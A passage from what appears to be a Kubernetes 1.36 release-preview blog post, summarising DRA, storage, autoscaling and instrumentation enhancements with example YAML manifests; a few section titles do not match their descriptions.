  "code": "apiVersion: resource.k8s.io/v1\nkind: ResourceClaim\nmetadata:\n  name: mig-devices\nspec:\n  devices:\n    requests:\n    - name: mig-1g-5gb-0\n      exactly:\n        deviceClassName: mig.nvidia.com\n        selectors:\n        - cel:\n            expression: \"device.attributes['gpu.nvidia.com'].profile == '1g.5gb'\"\n    - name: mig-2g-10gb\n      exactly:\n        deviceClassName: mig.nvidia.com\n        selectors:\n        - cel:\n            expression: \"device.attributes['gpu.nvidia.com'].profile == '2g.10gb'\"\n    constraints:\n    - requests: [\"mig-1g-5gb-0\", \"mig-2g-10gb\"]\n      matchAttribute: \"gpu.nvidia.com/parentUUID\"",
  "filename": null,
  "language": "yaml",
  "markDefs": null
}
```



[#4816](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-scheduling+DRA%3A&pane=issue&itemId=150612040&issue=kubernetes%7Cenhancements%7C4816) Prioritised_ Alternatives in Device Requests  
_**Stage:** Graduating to Stable  
**Feature group:** sig-scheduling

The prioritised list enhancement for DRA is a significant evolution in how Kubernetes handles specialised hardware through a flexible preferences model. Previously, if a workload requested a specific GPU that was unavailable, the pod would simply fail to schedule. This feature introduces the FirstAvailable field, allowing teams to define an ordered list of fallback options. Essentially, it allows a developer to say: "_I prefer an H100 GPU, but if those are gone, I'll take an A100, or even two T4s_" all within a single `ResourceClaim`.



For teams deploying AI workloads, this matters because it drastically improves **resource obtainability** and **deployment portability**. In the current landscape of GPU scarcity, waiting for a specific chip can stall CI/CD pipelines or production scaling. By providing plan B and C options, AI engineers ensure their training or inference jobs actually start, even if they run on slightly less optimal hardware. Furthermore, it simplifies life for MLOps teams who distribute shared manifests; they can now create a single configuration that works across different clusters with varying hardware availability without requiring users to manually edit YAML files for every environment.



The following snippet demonstrates how to request a high-end GPU with a prioritised fallback to multiple mid-tier GPUs. Note how the config specifically targets the fallback sub-request to ensure the application environment is adjusted only when those specific devices are selected.

```json
{
  "_key": "fce7c9b72540",
  "_type": "code",
  "code": "apiVersion: resource.k8s.io/v1beta2\nkind: ResourceClaim\nmetadata:\n  name: ai-workload-gpu-claim\nspec:\n  devices:\n    requests:\n    - name: gpu-request\n      # The scheduler tries these in order:\n      firstAvailable:\n      - name: ultra-gpu\n        deviceClassName: nvidia-h100\n        count: 1\n      - name: standard-gpu\n        deviceClassName: nvidia-a100\n        count: 1\n      - name: fallback-gpu\n        deviceClassName: nvidia-t4\n        count: 2  # Requesting more of a weaker device to compensate\n    # Specific configuration that only applies if the 'fallback-gpu' is chosen\n    config:\n    - requests: [\"gpu-request/fallback-gpu\"]\n      opaque:\n        driver: gpu.example.com\n        parameters:\n          apiVersion: gpu.example.com/v1\n          kind: GPUConfig\n          optimizationLevel: \"high-memory\"",
  "filename": null,
  "language": "yaml",
  "markDefs": null
}
```



[#5007](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-scheduling+DRA%3A&pane=issue&itemId=151444567&issue=kubernetes%7Cenhancements%7C5007) _Device BindingConditions  
_**Stage:** Graduating to Beta  
**Feature group:** sig-scheduling

The **BindingConditions** feature is a significant update to the Kubernetes DRA framework designed to handle slow-to-ready hardware. Historically, the Kubernetes scheduler assumes that once a Pod is assigned to a node, any required resources are immediately available. However, modern infrastructure like **Composable Disaggregated Infrastructure ([CDI](https://en.wikipedia.org/wiki/Composable_disaggregated_infrastructure))** often uses fabric-attached GPUs or [**FPGAs**](https://en.wikipedia.org/wiki/Field-programmable_gate_array) that require time-consuming steps like physical attachment over a network fabric, [**PCIe switching**](https://en.wikipedia.org/wiki/PCI_Express#Extensions_and_future_directions), or firmware reprogramming before they can actually be used.

This enhancement introduces a wait-and-see phase in the scheduling process called **Readiness-Aware Binding**. Instead of blindly binding a Pod to a node and hoping for the best, the scheduler checks specific `BindingConditions` (such as the `is-prepared` condition). If the resource isn't ready, the scheduler defers the final binding. Now, if it fails to prepare (like a hardware error), it would then trigger a `BindingFailureCondition`, which allows the pod to be safely rescheduled elsewhere without getting stuck in a [**CrashLoopBackOff**](https://spacelift.io/blog/crashloopbackoff) scenario.



[#5055](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-scheduling+DRA%3A&pane=issue&itemId=150612053&issue=kubernetes%7Cenhancements%7C5055) _Device Taints & Tolerations  
_**Stage:** Graduating to Beta  
**Feature group:** sig-scheduling

This KEP proposes an extension to DRA that introduces a tainting mechanism for GPU hardware devices, modelled after the existing Kubernetes node taints. Under this proposal, DRA drivers or cluster administrators (via a new [**DeviceTaintRule**](https://kubernetes.io/docs/concepts/scheduling-eviction/dynamic-resource-allocation/#taints-set-by-an-admin) API) can mark specific devices as unhealthy or restricted. This allows for granular maintenance, such as taking a single GPU or accelerator offline without impacting the rest of the node, as well as providing a standard way for hardware to report degraded states, such as overheating, without immediately failing workloads.The system supports two primary effects:

- `NoSchedule` prevents new pods from using the device
- `NoExecute` triggers the eviction of currently running pods.

Users can bypass these restrictions by adding tolerations directly to their `ResourceClaim`, allowing for specific scenarios like running diagnostic test pods on a tainted device. By decoupling device health from node status, this feature enables safer pod evictions and more resilient cluster management, ensuring that only workloads capable of handling specific hardware conditions are scheduled onto affected resources.



[#5004](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-scheduling+DRA%3A&pane=issue&itemId=150612044&issue=kubernetes%7Cenhancements%7C5004) _Handle extended resource requests via DRA Driver  
_**Stage:** Graduating to Beta  
**Feature group:** sig-scheduling

This Kubernetes 1.36 enhancement introduces a link between the traditional Extended Resources (simple, integer-based requests) and the newer DRA (which is flexible but more complex). Historically, using advanced hardware like GPUs required choosing between the easy-to-use Device Plugin model or the feature-rich DRA model. This KEP allows cluster administrators to advertise resources managed by DRA drivers as Extended Resources. This means developers can keep using simple `resources.limits` in their Pod specs while the backend leverages DRA's sophisticated resource tracking and allocation logic.

The primary benefit is a seamless transition path. It allows a single cluster to have a mix of nodes, with some using legacy device plugins and others using DRA, all without requiring any changes to existing Deployment manifests. When a Pod requests an extended resource (like `example.com/gpu: 1`), the scheduler can now satisfy that request using either a traditional node capacity or a DRA `ResourceSlice`. If a DRA node is chosen, the scheduler automatically handles the heavy lifting by creating a `ResourceClaim` to track the allocation, ensuring that the resource is reserved and properly mapped to the container.

The DeviceClass now acts as the link, mapping a specific class of DRA-managed hardware to an Extended Resource name, such as in the below example:

```json
{
  "_key": "e5dfc9862e0a",
  "_type": "code",
  "code": "apiVersion: resource.k8s.io/v1beta1\nkind: DeviceClass\nmetadata:\n  name: gpu.example.com\nspec:\n  selectors:\n  - cel:\n      expression: device.driver == 'gpu.example.com' && device.attributes['gpu.example.com'].type == 'gpu'\n  # This field bridges DRA to the simple Extended Resource name\n  extendedResourceName: example.com/gpu",
  "filename": null,
  "language": "yaml",
  "markDefs": null
}
```

Existing applications can remain completely unaware of the underlying DRA architecture, using the same familiar syntax they have used for years.

```json
{
  "_key": "01d1baeeb4f8",
  "_type": "code",
  "code": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: demo\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: demo\n  template:\n    metadata:\n      labels:\n        app: demo\n    spec:\n      containers:\n      - name: demo\n        image: nvidia/cuda:8.0-runtime\n        command: [\"/bin/sh\", \"-c\"]\n        args: [\"nvidia-smi && tail -f /dev/null\"]\n        resources:\n          limits:\n\t\t# The app asks for a simple integer\n\t\t# K8s decides if this comes from a Device Plugin or a DRA ResourceSlice.\n            example.com/gpu: 1",
  "filename": null,
  "language": "yaml",
  "markDefs": null
}
```



[#5491](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-scheduling+DRA%3A&pane=issue&itemId=151444593&issue=kubernetes%7Cenhancements%7C5491) _List types for attributes  
_**Stage:** Net New to Alpha  
**Feature group:** sig-scheduling

This KEP enhances the DRA API by introducing support for list-typed attributes inside `ResourceSlice` objects. Currently, device characteristics are limited to scalar values, which are insufficient for representing complex hardware topologies where a single device might relate to multiple entities, such as a CPU adjacent to multiple [**PCIe roots**](https://en.wikipedia.org/wiki/Root_complex) or [**NUMA nodes**](https://en.wikipedia.org/wiki/Non-uniform_memory_access). By allowing attributes to be lists of strings, integers, booleans, or versions, the API can more accurately model modern hardware relationships.

To support this change, the proposal redefines the semantics of `matchAttribute` and `distinctAttribute` constraints within a ResourceClaim. Specifically, `matchAttribute` now requires a non-empty intersection between sets of attributes across candidate devices, while `distinctAttribute` requires them to be pairwise disjoint. To ensure backward compatibility, scalar values are treated as single-element lists. This transition preserves the monotonicity required by the allocator’s algorithms, ultimately ensuring computational complexity remains bounded while also introducing a type-agnostic `.include` helper function for [**CEL expressions**](https://kubernetes.io/docs/reference/using-api/cel/) to simplify the migration for driver developers and users.





[#5075](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-scheduling+DRA%3A&pane=issue&itemId=151172978&issue=kubernetes%7Cenhancements%7C5075) _Consumable capacity  
_**Stage:** Graduating to Beta  
**Feature group:** sig-scheduling

This specific DRA-related KEP introduces a framework for multi-allocatable devices, moving beyond the previous model of strictly-exclusive / dedicated device assignments. Under this new logic, independent resource claims from unrelated pods (even those across different namespaces) can allocate specific shares of the same underlying hardware. This is managed through a consumable capacity model: the DRA scheduler tracks a device’s total capacity and ensures that the sum of all active claims remains within limits, while also enforcing `requestPolicy` rules like minimum or maximum per-claim allocations.



To implement this, the KEP introduces several technical fields, including an `AllowMultipleAllocations` property to identify sharable hardware and a `ConsumedCapacity` field to track usage in allocation results. It also provides a **distinct attribute constraint** to prevent a single claim from accidentally grabbing the same multi-allocatable device twice. This is particularly vital for networking (like sharing a physical NIC via CNI) and/or GPU virtualisation, where users need to reserve specific fractions of memory or bandwidth without requiring the platform teams to pre-define a massive number of static partitions.





[#5729](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-scheduling+DRA%3A&pane=issue&itemId=151287030&issue=kubernetes%7Cenhancements%7C5729) _ResourceClaim support for workloads  
_**Stage:** Net New to Alpha  
**Feature group:** sig-scheduling

The proposed enhancement to the `Workload` and `PodGroup` APIs introduces a mechanism to associate `ResourceClaims` and `ResourceClaimTemplates` directly with **PodGroups** rather than individual Pods. This decision addresses a critical scalability bottleneck in Kubernetes DRA where the current 256-entry limit in a ResourceClaim’s `status.reservedFor` list. By reserving a claim for an entire PodGroup, large-scale AI/ML workloads can share a single topological resource, such as a high-speed network fabric or a GPU cluster across hundreds or thousands of Pods. Additionally, referencing a `ResourceClaimTemplate` at the PodGroup level allows for the automatic, consistent generation of claims for replicated groups, simplifying the lifecycle management for high-level controllers like **JobSet** and **LeaderWorkerSet**.

The following snippet illustrates how these new fields allow a workload to define shared DRA devices at the group level, ensuring that all Pods within a specific logic unit are scheduled within the same topological boundary:

```json
{
  "_key": "fa442b61b5ea",
  "_type": "code",
  "code": "apiVersion: resource.k8s.io/v1\nkind: ResourceClaimTemplate\nmetadata:\n  name: pg-claim-template\n  namespace: default\nspec:\n  spec:\n    devices:\n      requests:\n      - name: my-device\n        exactly:\n          deviceClassName: example\n—\napiVersion: example.com/v1\nkind: MyWorkload\nmetadata:\n  name: my-workload\n  namespace: default\nspec:\n  ...",
  "filename": null,
  "language": "yaml",
  "markDefs": null
}
```

This architectural change moves the responsibility of tracking resource consumers from individual Pod entries to the group identity. While this introduces a slight memory overhead for the `device_taint_eviction` controller (which must now index Pods via their group associations) it significantly enhances the ability of DRA to orchestrate multi-node logical devices. By decoupling the claim lifecycle from individual Pod names, Kubernetes can now natively support the strict topological constraints required for high-performance distributed training and complex infrastructure reprogramming.



[#5517](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-scheduling+DRA%3A&pane=issue&itemId=151444616&issue=kubernetes%7Cenhancements%7C5517) _ResourceClaim support for workloads  
_**Stage:** Net New to Alpha  
**Feature group:** sig-scheduling

Implementing DRA drivers for primary system assets (such as `dra-driver-cpu`) allows for precise resource orchestration but triggers a significant discrepancy in usage tracking. Because the default `kube-scheduler` accounting logic does not communicate with the `DynamicResources` plugin, the two systems operate in isolation, creating a high risk of node oversubscription.

While this issue mirrors the challenges faced by **DRA Extended Resources (**[#5004](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-scheduling+DRA%3A&pane=issue&itemId=150612044&issue=kubernetes%7Cenhancements%7C5004)), the existing fix is not a direct fit due to how discovery works:

- Firstly, **Extended Resources** are broadcast through either `node.status.allocatable` or a `ResourceSlice`, but never both at once.
- Secondly, **Core Resources** are the kind of Assets like CPU that are permanently defined in `node.status.allocatable`. A DRA driver, however, would simultaneously track these same assets via `ResourceSlice`.

This dual-representation of the same physical hardware creates a sync gap that justifies the need for a more integrated, unified accounting framework to prevent future scheduling conflicts.



## **Storage in Kubernetes 1.36**

[#1710](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-storage&pane=issue&itemId=150462047&issue=kubernetes%7Cenhancements%7C1710) _Speed up recursive SELinux label change  
_**Stage:** Graduating to Stable  
**Feature group:** sig-storage

Graduating to stable in Kubernetes 1.36, this KEP addresses a long-standing performance bottleneck in container storage. Historically, when a Pod starts on a system with [**SELinux**](https://en.wikipedia.org/wiki/Security-Enhanced_Linux) (like RHEL or Fedora), the container runtime must recursively visit every single file and directory on a volume to apply a security label, which is a process that is agonisingly slow for volumes containing millions of files and can lead to out of space errors or Pod startup timeouts. By graduating this to stable, Kubernetes is officially changing the default behaviour to use the Linux kernel’s `-o context` mount option. This allows the system to assign the correct security context to the entire volume at the mount level instantly, bypassing the need for a file-by-file recursive walk and significantly decreasing Pod startup times.

The move to stable in 1.36 is critical because it standardises the safer, faster, and more predictable security approach across the ecosystem. Beyond performance, it improves security by preventing [**relabelling attacks**](https://www.sciencedirect.com/science/article/abs/pii/S0167404825001518) (where a compromised Pod might trick the system into relabelling host files) and enables better support for read-only volumes that previously couldn't be relabelled. While this change introduces a strict requirement that all Pods sharing a volume on the same node must use the same SELinux label, Kubernetes provides a clear migration path via the `SELinuxChangePolicy` field in the PodSpec. This allows users with complex edge cases such as mixing privileged and unprivileged Pods on the same volume to explicitly opt back into the old recursive behaviour, ensuring that the performance gains of the stable release don't come at the cost of breaking existing, specialised workloads.



[#3314](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-storage&pane=issue&itemId=150462169&issue=kubernetes%7Cenhancements%7C3314) _CSI Differential Snapshot for Block Volumes  
_**Stage:** Graduating to Beta  
**Feature group:** sig-storage

This enhancement proposes a new, optional **CSI SnapshotMetadata API** designed to bring efficient, cloud-native differential backup capabilities to Kubernetes. By implementing **Changed Block Tracking ([CBT](https://knowledge.broadcom.com/external/article/320557/changed-block-tracking-cbt-on-virtual-ma.html))**, the API allows backup apps to identify only the specific data blocks that have changed between two snapshots (or all allocated blocks in a single snapshot). This avoids the resource-heavy process of backing up entire volumes, significantly reducing storage and network overhead.

To ensure scalability and performance, the design utilises a **proxy sidecar** (`external-snapshot-metadata`) that handles communication between the backup client and the CSI driver. This architecture allows large volumes of snapshot metadata to be streamed directly via a TLS-secured gRPC connection, effectively **bypassing the Kubernetes API server** to prevent it from being overloaded. Security is maintained through a robust model using Kubernetes-scoped authentication tokens, ensuring that only authorised backup applications can access sensitive volume metadata while keeping the implementation flexible for various storage providers.



[#3476](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-storage&pane=issue&itemId=150462172&issue=kubernetes%7Cenhancements%7C3476) _VolumeGroupSnapshot  
_**Stage:** Graduating to Stable  
**Feature group:** sig-storage  
**Feature gate:** VolumeGroupSnapshot **Default value:** disabled

This feature introduces the **VolumeGroupSnapshot API** for Kubernetes, designed to solve the problem of write-order consistency across multiple volumes. While the existing [**VolumeSnapshot**](https://kubernetes.io/docs/concepts/storage/volume-snapshots/) API handles individual volumes, applications like databases often spread data and logs across different disks; snapshotting these at different times can lead to corrupted data upon restoration. This new feature allows users to group multiple **Persistent Volume Claims** ([**PVCs**](https://kubernetes.io/docs/concepts/storage/persistent-volumes/)) together using a label selector and trigger a coordinated snapshot that captures all volumes at the exact same point-in-time, ensuring a crash-consistent state without necessarily requiring the application to be paused (quiesced).

As the feature moves from a conceptual proposal / Net New status into the Alpha stage, the focus is on establishing the core architectural plumbing and initial CRDs (`VolumeGroupSnapshot`, `VolumeGroupSnapshotContent`, and `VolumeGroupSnapshotClass`). In this stage, the **Snapshot Controller** and **CSI-snapshotter sidecar** are updated with new logic to recognise these group objects. The primary goal of Alpha is to validate the end-to-end flow: the controller identifies PVCs via labels, communicates with a CSI driver that supports the newly added `CREATE_DELETE_GET_VOLUME_GROUP_SNAPSHOT` capability, and successfully generates both the group snapshot and the underlying individual volume snapshots. It remains an opt-in feature, gated by a feature flag, intended for initial vendor testing and early feedback so is disabled by default.



[#4876](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-storage&pane=issue&itemId=150462199&issue=kubernetes%7Cenhancements%7C4876) _Mutable CSINode Allocatable Property  
_**Stage:** Graduating to Stable  
**Feature group:** sig-storage

Graduating to stable in 1.36, this enhancement makes the `PersistentVolume.spec.nodeAffinity` field **mutable**. Previously, node affinity was immutable once set, but this enhancement allows storage providers to update accessibility requirements dynamically, such as when migrating data between zones or enabling features not supported by all nodes. While the update does not disrupt currently running pods, which continue to function under a "_required during scheduling, ignored during execution_" style logic, this essentially ensures that any new or rescheduled pods are directed to nodes compatible with the updated volume topology.

To handle potential race conditions or mis-scheduling during the transition, the proposal includes a new Kubelet behaviour: if a pod is scheduled to a node that no longer satisfies the PV’s updated affinity, the Kubelet will proactively **fail the pod** rather than letting it get stuck in a perpetual `ContainerCreating` state. This triggers controllers like **StatefulSets** or **Deployments** to recreate the pod on a valid node. Merged in October 2025, originally for the v1.35 milestone, the KEP reached consensus for Alpha with the understanding that while the operation is highly privileged, it provides essential flexibility for evolving storage environments.



[#5541](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-storage&pane=issue&itemId=150551717&issue=kubernetes%7Cenhancements%7C5541) _Report last used time on a PVC  
_**Stage:** Net New to Alpha  
**Feature group:** sig-storage

The Kubernetes community has officially merged [**KEP-5541**](https://github.com/kubernetes/enhancements/pull/5795), which introduced a new `UnusedSince` timestamp field to the `PersistentVolumeClaimStatus` object. This feature is designed to help DevOps teams and developers identify inactive storage by recording the exact time a Persistent Volume Claim ([**PVC**](https://kubernetes.io/docs/concepts/storage/persistent-volumes/#lifecycle-of-a-volume-and-claim)) last transitioned from being used by a pod to an unused state. Throughout the review process, the field was renamed from `LastUsedTime` to `UnusedSince` to more clearly indicate that a `nil` value signifies a PVC is currently in active use. While the initial alpha implementation focuses on the API field and controller logic, the PR discussions highlighted future plans for potential integration with `kube-state-metrics` to enhance observability for large-scale cluster management.



[#5538](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-storage&pane=issue&itemId=150462250&issue=kubernetes%7Cenhancements%7C5538) _CSI driver opt-in for service account tokens via secrets field  
_**Stage:** Graduating to Stable  
**Feature group:** sig-storage

Finally graduating to stable in v.1.36, we’ll see a more secure delivery mechanism for service account tokens by allowing CSI drivers to opt into receiving them via the dedicated `secrets` field in the `NodePublishVolumeRequest`. Currently, these sensitive tokens are passed through the `volume_context` map, a field not designed for confidential data. This architectural flaw has led to significant security vulnerabilities, such as [**CVE-2023-2878**](https://github.com/kubernetes/kubernetes/issues/118419), where tokens were inadvertently leaked into logs because standard sanitisation tools do not treat volume context as sensitive. By transitioning to the `secrets` field, the proposal ensures that tokens are handled by existing security protocols & proto-sanitisers, reducing need for inconsistent, driver-specific workarounds.

To implement this while maintaining backward compatibility, a new field, `serviceAccountTokenInSecrets`, will be added to the `CSIDriver` spec. When set to true, the kubelet will redirect tokens from the volume context to the secrets field using the established key - `csi.storage.k8s.io/serviceAccount.tokens`. Default still remains false to ensure existing drivers do not break, though the API server will issue warnings to encourage migration to the more secure path.

```json
{
  "_key": "6cfe44f844df",
  "_type": "code",
  "code": "apiVersion: storage.k8s.io/v1\nkind: CSIDriver\nmetadata:\n  name: example-csi-driver\nspec:\n  tokenRequests:\n    - audience: \"example.com\"\n      expirationSeconds: 3600\n  # New field for opting into secrets delivery\n  serviceAccountTokenInSecrets: true  # defaults to false",
  "filename": null,
  "language": "yaml",
  "markDefs": null
}
```

****

## **Autoscaling in Kubernetes 1.36**

[#5030](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-autoscaling&pane=issue&itemId=150462214&issue=kubernetes%7Cenhancements%7C5030) _Integrate CSI Volume attach limits with cluster autoscaler  
_**Stage:** Major Change to Alpha  
**Feature group:** sig-autoscaling

This major change to the existing Alpha stage feature addresses a critical gap in Kubernetes resource management by integrating [**CSI**](https://kubernetes.io/blog/2019/01/15/container-storage-interface-ga/) (Container Storage Interface) **Volume** attachment limits directly into the Cluster Autoscaler. Currently, if a node reaches its maximum capacity for attached volumes, the Cluster Autoscaler may not effectively account for this constraint when deciding whether to scale up or where to place new pods. By bridging the gap between `sig-storage` and `sig-autoscaling`, this update ensures that the autoscaler recognises when a pod cannot be scheduled due to storage limits, triggering the provision of new nodes instead of leaving pods in a **Pending** state on a saturated node.

As of February 2026, the project is finally **tracked for the v1.36 release** and will remain in Alpha status. The proposal has successfully passed the [**PRR**](https://github.com/kubernetes/community/blob/master/sig-architecture/production-readiness.md) and the enhancement freeze deadlines. Development is actively moving forward, with documentation placeholders and code PRs (such as preventing pod scheduling to nodes without the required CSI drivers) already in progress. At the time of writing, the release team were also planning a feature blog to coincide with the release to highlight how this integration improves the reliability of stateful workloads in scaling environments.



[#5679](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-autoscaling&pane=issue&itemId=150462268&issue=kubernetes%7Cenhancements%7C5679) _HPA External Metrics Fallback on Retrieval Failure  
_**Stage:** Net New to Alpha  
**Feature group:** sig-autoscaling

The net new advancement allows for fallback in Horizontal Pod Autoscalers ([**HPAs**](https://kubernetes.io/docs/concepts/workloads/autoscaling/horizontal-pod-autoscale/)) on failure to still retrieve external metrics. This is a significant reliability enhancement for the HPA, specifically targeting scenarios where external metric APIs (like [**cloud provider queues**](https://www.reddit.com/r/softwarearchitecture/comments/1kn63sj/whats_your_goto_message_queue_in_2025/) or [**Datadog**](https://en.wikipedia.org/wiki/Datadog)) experience downtime. Instead of leaving the application in a static state (or even worse, under-provisioned) when a metric becomes unknown, this feature allows operators to define an optional fallback static replica count that triggers after a configurable failure duration. By moving away from metric value substitution to a fixed replica count, Kubernetes ensures that the HPA can maintain a safe capacity baseline during API outages without the risk of unbounded scaling. The enhancement has reached implementable status for its Alpha debut in 1.36, with the core logic merged into the master branch and API types finalised to include new fields like `failureDurationSeconds` and `fallbackStatus`.



## **Instrumentation in Kubernetes 1.36**

[#4827](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-instrumentation&pane=issue&itemId=151642265&issue=kubernetes%7Cenhancements%7C4827) _StatusZ for Kubernetes Components  
_**Stage:** Graduating to Beta  
**Feature group:** sig-instrumentation  
**Feature gate:** ComponentStatusz **Default value:** disabled

This proposal introduces a standardised /`statusz` endpoint for core Kubernetes components, modelled after Google’s internal [**z-pages**](https://stackoverflow.com/questions/43380939/where-does-the-convention-of-using-healthz-for-application-health-checks-come-f/43381061#43381061), to provide low-overhead, real-time insights into a component's internal state. By exposing critical data (such as binary versions, Go versions, and build metadata) directly from the serving process, it empowers developers and operators to perform high-precision troubleshooting without sifting through logs or configuring complex external monitoring tools. The scope is intentionally limited to the primary process to avoid the maintenance complexities of legacy status APIs, ensuring a lightweight and reliable inside-out view of component health.



Security and stability are prioritised through strict RBAC integration and a versioned API rollout. Access is restricted to the `system:monitoring` group to prevent unauthorised exposure, while the implementation utilises a feature gate for a cautious Alpha release. The endpoint defaults to a human-readable `text/plain` format but supports a structured API (`v1alpha1`) for programmatic access via explicit content negotiation. To enable this across the cluster, the `system:monitoring` ClusterRole can be updated as follows:

```json
{
  "_key": "415f616fcace",
  "_type": "code",
  "code": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: system:monitoring\nrules:\n# existing rules\n- apiGroups: [\"\"]\n  resources: [\"nodes/statusz\"]\n  verbs: [\"get\"]",
  "filename": null,
  "language": "yaml",
  "markDefs": null
}
```





[#4828](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-instrumentation&pane=issue&itemId=151642270&issue=kubernetes%7Cenhancements%7C4828) _FlagZ for Kubernetes Components  
_**Stage:** Graduating to Beta  
**Feature group:** sig-instrumentation  
**Feature gate:** ComponentFlagz **Default value:** disabled

This proposal introduces a new `/flagz` endpoint across core Kubernetes components to enhance observability, troubleshooting, and real-time configuration auditing. By providing direct visibility into the active command-line flags a component was started with, the feature allows cluster admins and devs to quickly diagnose misconfigurations and verify runtime state without relying on external logs or manual inspection. Similar to StatusZ, to ensure the security and performance, access is restricted to the `system:monitoring` group, and the endpoint is designed with minimal computational overhead.



The endpoint also similarly defaults to a `text/plain` format for human readability but supports structured, versioned API responses (for example `JSON`, `YAML`, `CBOR`) for programmatic access via explicit header negotiation. During its alpha phase, the feature will be guarded by a feature gate to prevent premature dependency on unstable formats while offering a consistent interface alongside existing diagnostic paths like `/healthz` and `/readyz`.



Sample response in `text/plain`, as discussed above:

```json
{
  "_key": "bb16b9185a09",
  "_type": "code",
  "code": "----------------------------\ntitle: Kubernetes Flagz\ndescription: Command line flags that Kubernetes component was started with.\n----------------------------\n\ndefault-watch-cache-size=100\ndelete-collection-workers=1\nenable-garbage-collector=true\nencryption-provider-config-automatic-reload=false\n...",
  "filename": null,
  "language": "text",
  "markDefs": null
}
```





[#5808](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-instrumentation&pane=issue&itemId=151642392&issue=kubernetes%7Cenhancements%7C5808) _Native Histogram Support for Kubernetes Metrics  
_**Stage:** Net New to Alpha  
**Feature group:** sig-instrumentation

[**KEP-5808**](https://github.com/kubernetes/enhancements/pull/5810/changes/BASE..21ec35712b5e0aba594bcdf20e82f90f79c1c9f9#top) proposes the integration of **Prometheus Native Histograms** into the Kubernetes control plane. Currently, Kubernetes relies on classic histograms, which require pre-defined, fixed bucket boundaries (like: `le="0.1"` or `le="0.5"`). This approach is often inefficient, as it forces users to choose between low resolution (grouping 1ms and 40ms requests together) or high cardinality (creating dozens of separate time series that bloat Prometheus storage). By moving toward a native histogram format, Kubernetes can leverage **exponential bucket boundaries** that automatically adjust to data distributions, offering significantly higher precision for detecting performance regressions while simultaneously reducing the total number of time series by approximately 10x.



The proposal aims to solve the chicken-and-egg migration problem through a **dual exposition strategy**. Under the new `NativeHistograms` feature gate, Kubernetes components like the `kube-apiserver` and `kubelet` will serve metrics in both classic and native formats simultaneously when requested via Protobuf. This allows Platform Engineers to reduce monitoring costs and SREs to set more granular SLOs without breaking existing dashboards or alerts. The plan includes a careful rollout path that accounts for Prometheus version differences, ensuring that users can transition to high-resolution metrics at their own pace without risking silent failures in their observability stack.



## **Deprecations in Kubernetes 1.36**

